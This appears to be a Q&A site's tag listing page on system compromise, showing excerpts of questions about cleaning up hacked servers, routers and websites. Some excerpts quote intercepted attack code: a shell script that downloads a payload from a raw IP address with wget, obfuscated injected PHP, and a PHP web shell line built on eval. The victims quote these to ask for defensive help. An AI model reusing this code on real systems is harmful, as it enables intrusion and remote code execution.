Questions tagged [system-compromise]

Dealing with a system compromise: your defenses failed, now what?

Filter by
Sorted by
Tagged with
165
votes
6answers
24k views

How do I deal with a compromised server?

I suspect that one or more of my servers is compromised by a hacker, virus, or other mechanism: What are my first steps? When I arrive on site should I disconnect the server, preserve "evidence", are ...
161
votes
10answers
20k views

How do you explain the necessity of “nuke it from orbit” to management and users?

When a machine has been infected with malware, most of us here immediately identify the appropriate action as "nuke it from orbit" - i.e. wipe the system and start over. Unfortunately, this is often ...
10
votes
1answer
4k views

How do I deal with a compromised network device?

I suspect that a network device (modem, router. switch, access point, etc) is compromised. What should I do?
4
votes
2answers
2k views

For remotely unlocking LUKS volumes via SSH, how can I verify integrity before sending passphrase?

Although this is closely related to the recently closed question Evil maids in the server room [closed], I believe that it's more answerable. I'd like to unlock LUKS volumes on remotely hosted ...
28
votes
4answers
5k views

A tiny version of wget (51 bytes?)

On this ISC article on DVR compromise the author talks about the compromise of an embedded system. In particular, the attacker executes a series of echo commands on the remote host, and: This DVR ...
169
votes
10answers
41k views

Should I be concerned if the “FBI” has logged onto my Ubuntu VPS?

Yesterday, I was performing a bit of general maintenance on a VPS of mine, using the IPMI console my host provided. Upon setting up SSH keys again via the IPMI console, I logged in via SSH and was ...
16
votes
5answers
7k views

KeePass security local malware

Can a malware that infected your local computer compromise a KeePass database stored locally in any way? If yes, what's the point for KeePass to have such strong security mechanisms if it cannot ...
28
votes
12answers
6k views

Is there a secure way to transfer data outside the Internet?

Since, recently, it has been proven that transferring data through the usb port is fundamentally flawed, I'm wondering if there are 100% secure ways to transfer data without using the Internet. ...
13
votes
3answers
3k views

What does this sh script do if executed?

I have intercepted an attack on my web server that I believe was unsuccessful. The attacker tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod ...
7
votes
3answers
267 views

Server Infection: post-cleanup best practices

I've read through How do I deal with a compromised server? and have followed the steps to cleaning-up/mitigating any future damage. I'm just wondering if there are any post-clean up steps that are ...
5
votes
1answer
716 views

My dlink router seems to be compromised

By chance I read today about this huge vulnerability regarding my router Dlink DIR-600. ( http://www.s3cur1ty.de/m1adv2013-003 ) Just out of curiosity about what I would find, I tried to send some ...
2
votes
1answer
273 views

Server protection measures from authorities

I am on a project which is illegal in my nation but is not illegal anywhere in the world. In order not to get a 100yr sentence I should be prepared for seizures and forensics. I am running a server ...
1
vote
4answers
341 views

My email hacked

Someone has definitely gained access to two of my alternate emails. I know this by looking at the login activity. By looking at the email logs I discovered that the IP that is always gaining entry to ...
4
votes
1answer
126 views

Being directed to hacked site only when searched through Yahoo

A local wolf sanctuary had just posted a warning on Facebook to not visit their site because it had been hacked. However, it only sends you to the hacked site when searching through Yahoo. I was ...
3
votes
1answer
178 views

A bot edited all pages on my Wordpress installation

I manage a Wordpress site for an event registration. The site is only active for a few months a year. The rest of the year it's idle, as in it's up, but not actively maintained. Now the time has come ...
2
votes
1answer
463 views

Need help deobfuscating malicious PHP

Recently I had a shared hosting server that was hacked; the following line of code was injected at the top of every PHP file on the server: <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=...
0
votes
3answers
468 views

How can I determine from where injected script came from?

I have a server that currently has been hacked. Files are being created on my server which has content of this type: if(isset($_REQUEST['oUS'])){/*PJEG*/eval($_REQUEST['oUS']);/*z*/exit;/*Lv*/} Or ...
-1
votes
2answers
145 views

Is it a good idea to have a new laptop just to generate 2FA keys?

I am very concerned about people putting keyloggers or trojans on my computer. That can happen because I use my computers for many things. Work. Playing games. Watching movies. Accessing many ...